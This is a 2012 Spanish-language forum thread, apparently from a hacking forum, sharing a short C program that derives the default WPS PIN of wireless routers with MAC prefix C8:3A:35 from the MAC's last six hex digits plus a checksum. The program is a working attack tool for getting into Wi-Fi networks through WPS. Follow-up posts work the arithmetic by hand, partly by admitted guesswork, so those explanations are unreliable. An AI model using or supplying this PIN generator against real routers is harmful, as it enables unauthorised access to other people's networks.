ComputePIN-C83A35

Iniciado por P4nd3m0n1um, 8 Abril 2012, 15:03 PM

0 Miembros y 1 Visitante están viendo este tema.

P4nd3m0n1um

Si tu router inalambrico tiene la MAC: "C8:3A:35" o "00:B0:0C", ahora puedes desde windows saber cual es su posible pin de WPS!


Código (csharp) [Seleccionar]
#include <stdio.h>
#include <stdlib.h>
int main()
{
unsigned int wps_pin_checksum(unsigned int pin);
int PIN = 0;
printf("ComputePIN-C83A35\n");
printf("Description:\n");
printf("If your wireless router MAC address start with \"C83A35\",\n");
printf("type the other six digits, you might be able to get the \n");
printf("WPS-PIN of this equipment, please have a try, good luck!\n\n");
printf("Code by ZhaoChunsheng 04/07/2012 http://iBeini.com\n\n");
printf("Input MAC Address(HEX):c83a35");
scanf("%x",&PIN);
printf("MAC Address(HEX) is: C83A35%X\n",PIN);
printf("WPS PIN is: %07d%d\n",PIN%10000000,wps_pin_checksum(PIN%10000000));
return 0;
}
unsigned int wps_pin_checksum(unsigned int pin)
{
unsigned int accum = 0;
while (pin)
{
accum += 3 * (pin % 10);
pin /= 10;
accum += pin % 10;
pin /= 10;
}
return (10 - accum % 10) % 10;
}


FUENTE: http://forum.anywlan.com/thread-125873-1-1.html

P4nd3m0n1um

En Español:

Tomas la MAC: C8:3A:35:FF:FF:FF bien, tomando los FF:FF:FF finales los pasamos de HEX a Deci:

obtenemos:

16777215

a los primeros dos caracteres los restamos: 1-6=5 y lo posicionamos:

67772155!

NOTA: no se si es así, pero se me ocurrió recién..

P4nd3m0n1um

Cita de: P4nd3m0n1um en  8 Abril 2012, 15:36 PM
En Español:

Tomas la MAC: C8:3A:35:FF:FF:FF bien, tomando los FF:FF:FF finales los pasamos de HEX a Deci:

obtenemos:

16777215

a los primeros dos caracteres los restamos: 1-6=5 y lo posicionamos:

67772155!

NOTA: no se si es así, pero se me ocurrió recién..

iba bien... mm porque nos qda el 16777215 le hacemos el %10000000 y nos da 6777215..

luego hacemos 3 * (16777215 % 10).. nos queda 15..

ahora como es mayor a 2 cifras lo que hace es verificarlo y le hace al resultado 15 % 10 = 5.

lo verificamos: (10 - 67772155 % 10) % 10.. 5 y listo pin 67772155.